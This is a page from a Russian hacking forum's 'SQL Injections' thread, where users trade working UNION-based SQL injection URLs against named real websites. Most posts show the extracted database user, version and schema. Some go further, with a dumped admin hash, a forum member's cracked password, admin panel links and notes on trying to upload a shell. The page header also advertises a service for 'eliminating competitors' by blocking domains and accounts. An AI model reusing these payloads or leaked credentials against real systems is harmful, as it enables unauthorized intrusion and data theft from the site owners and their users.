УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 462 из 1242

462

Опции темы

Поиск в этой теме

Опции просмотра

#4611

28.01.2008, 22:21

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

Провел на форуме:
6722038

Репутация: 1385

www.mosparohodstvo.ru

Цитата:

http://www.mosparohodstvo.ru/?pid=4&type=-3+union+select+1,2,3,4,concat(login,0x3a,password) ,6,7,8,9,0,1,2+from+fva_auth/*

5.0.45-log
admin:762d97b11b532702
http://www.mosparohodstvo.ru/adm/

#4612

28.01.2008, 22:22

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

Провел на форуме:
1273248

Репутация: 785

Отправить сообщение для .Begemot. с помощью ICQ

zmago.com

Код HTML:

http://www.zmago.com/podjetje.php?tema=-4+union+select+0,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),2,3,4,5,6,7,8,9/*

USER:slovino2@localhost
VERSION:5.0.45
DATABASE:slovino2

Код HTML:

http://www.zmago.com/podjetje.php?tema=-4+union+select+0,table_name,2,3,4,5,6,7,8,9+from+information_schem  a.tables/*

- все названия таблиц

Код HTML:

http://www.zmago.com/podjetje.php?tema=-4+union+select+0,column_name,2,3,4,5,6,7,8,9+from+information_sche  ma.columns/*

- все названия столбцов
fxmonitor.ru

Код HTML:

http://fxmonitor.ru/showacc.php?acc=-24+union+select+0,1,2,3,4,concat(USER(),0x3a,VERSION(),0x3a,DATABASE(   )),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&user=bf0ab9beec6bacd404743fcfc95dbcb6

USER:whcforex_admin@localhost
VERSION:5.0.45-community-log
DATABASE:whcforex_monitoring

Код HTML:

http://fxmonitor.ru/showacc.php?acc=-24+union+select+0,1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15,16,17,   18,19,20,21,22,23+from+information_schema.tables/*&user=bf0ab9beec6bacd404743fcfc95dbcb6

- все названия таблиц

Код HTML:

http://fxmonitor.ru/showacc.php?acc=-24+union+select+0,1,2,3,4,column_name,6,7,8,9,10,11,12,13,14,15,16,17   ,18,19,20,21,22,23+from+information_schema.columns/*&user=bf0ab9beec6bacd404743fcfc95dbcb6

- все названия столбцов
arbat-voyage.com

Код HTML:

http://arbat-voyage.com/hotel.php?m=-188+union+select+0,concat(USER(),0x3a,VERSION(),0x3a,DATABASE())/*

USER:us1126b@localhost
VERSION:4.1.22
DATABASE:db1126b

#4613

28.01.2008, 22:23

min7

Участник форума

Регистрация: 03.09.2005

Сообщений: 123

Провел на форуме:
1896022

Репутация: 259

Уязвимы все сайты от LeaguePro Inc, введите в поисковик "This site created by LeaguePro Inc.".В любом из них будет такая скуль

Код:

http://www.leaguepro.com/~whllorg/team.php?id=-62+union+select+concat_ws(char(58,58),user(),database(),version()),2/*

правда выжить из неё что либо не удалось, т.к. 4.1.22-standard.

#4614

29.01.2008, 00:29

MaSter GeN

Познающий

Регистрация: 26.01.2008

Сообщений: 71

Провел на форуме:
280720

Репутация: 141

Отправить сообщение для MaSter GeN с помощью ICQ

сайт довольно большого краснояркского интернет провайдера

Код:

http://www.kraslan.ru/other/banners.php?click=7+union+select+1,2,3,4,5,6,7,'text',9,10,11,12,13,14,15,16/*

DATABASE()=monitor

Username()=monitor@localhost
Version=5.0.41-log

Последний раз редактировалось MaSter GeN; 31.01.2008 в 16:07..

#4615

29.01.2008, 02:08

Sharingan

Участник форума

Регистрация: 05.05.2007

Сообщений: 171

Провел на форуме:
1050662

Репутация: 435

Отправить сообщение для Sharingan с помощью ICQ

сайт слабоалкогольного напитка, интересно нахрен столько полей там...

Код:

http://www.happyland.ru/brands.php?id=-1+union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*

happyland:happyland@62.118.254.13:4.0.26-log

Код:

http://www.uprava.org/section.php?id=-1+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7/*

4.0.27:uprava-org:uprava-org@he2.hoster.ru

#4616

29.01.2008, 04:28

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,316

Провел на форуме:
16641028

Репутация: 2371

http://www.iwdp.co.uk

Info:
http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,concat_ws( 0x3a,user(),version(),database()),3,4,5,6,7,8,9,10 ,11/*
iwdp@localhost:4.0.25-standard:iwdp

Disclosure path:
/home/iwdp/public_html/

Members area:
http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,2,3,4,5,6, 7,8,9,10,11+from+ibf_members+limit+0,1/*

Forum: (IPB 1.2.2)
http://www.iwdp.co.uk/profile.php?id=1+and+2=1+union+select+1,concat_ws( 0x3a,name,password),3,4,5,6,7,8,9,10,11+from+ibf_m embers+limit+1,1/*

[hash]
TiggerOnSpeed:a9f16cafdaffb824fb19ce24aa50dc04
[unhash]
TiggerOnSpeed:w173344e

Link to forum: http://www.iwdp.co.uk/members/admin.php

Все методы заливки шелла через админку в ипб не работают т.к. нет прав в дирах....

#4617

29.01.2008, 04:45

razzzar

Участник форума

Регистрация: 16.06.2007

Сообщений: 107

Провел на форуме:
725870

Репутация: 208

Код:

http://www.michaelpollan.com/article.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),version(),database()),8,9,10/*

pollan_article@localhost:4.1.22-standard

ollan_articles

#4618

29.01.2008, 15:15

min7

Участник форума

Регистрация: 03.09.2005

Сообщений: 123

Провел на форуме:
1896022

Репутация: 259

Несколько скуль, которые не получилось раскрутить:

Код:

http://www.tanzform.de/team.php?id=-14+union+select+concat_ws(char(58,58),user(),database(),version()),2,3/*

tanzform@localhost::dbtanz::4.1.21

Код:

http://www.chaosfactors.com/wc3/team.php?id=-24+union+select+1,2,3,4,5,6,7,concat_ws(char(58,58),user(),version(),database()),9,10,11,12,13/*

chaosfactors@localhost::4.1.21-log::chaosfactors

Код:

http://www.weigandconstruction.com/about/team.php?id=-1+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13/*

weigandc_wa@localhost::weigandc_weigand::4.0.27

Код:

http://www.thewoodgroupinc.com/team.php?ID=-11+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5/*

TWG_FTPTWG@216.27.95.21::twg_database::4.1.22-max-log

Код:

http://www.steuerberater-prikryl.de/team.php?id=-32+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4,5,6,7,8/*

prikryl@localhost:: pikryl::4.0.18

Код:

http://www.planervilla.de/team.php?id=-3+union+select+1,2,3,4,concat_ws(char(58,58),user(),database(),version()),6/*

dbo162909144@212.227.119.46::db162909144::5.0.45-log Здесь ничё интересного...

Последний раз редактировалось min7; 29.01.2008 в 15:18..

#4619

29.01.2008, 16:40

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,316

Провел на форуме:
16641028

Репутация: 2371

Код:

http://sutherlands.com/homepage.php?store=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73/*

information_schema есть, но не видел полезных таблиц в бд..
Хотя мембер зона есть....

#4620

29.01.2008, 17:03

razzzar

Участник форума

Регистрация: 16.06.2007

Сообщений: 107

Провел на форуме:
725870

Репутация: 208

Код:

http://www.eutrainingsite.com/open_details.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),version(),database()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*

eutrsite@localhost:5.0.22-Debian_0ubuntu6.06.6-log:eutrainingsite

Код:

http://www.allaboutjazz.com/php/article.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat_ws(0x3a,user(),version(),database()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82/*

vxweb@jazzy:4.1.20:allaboutjazz

Страница 462 из 1242

462

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход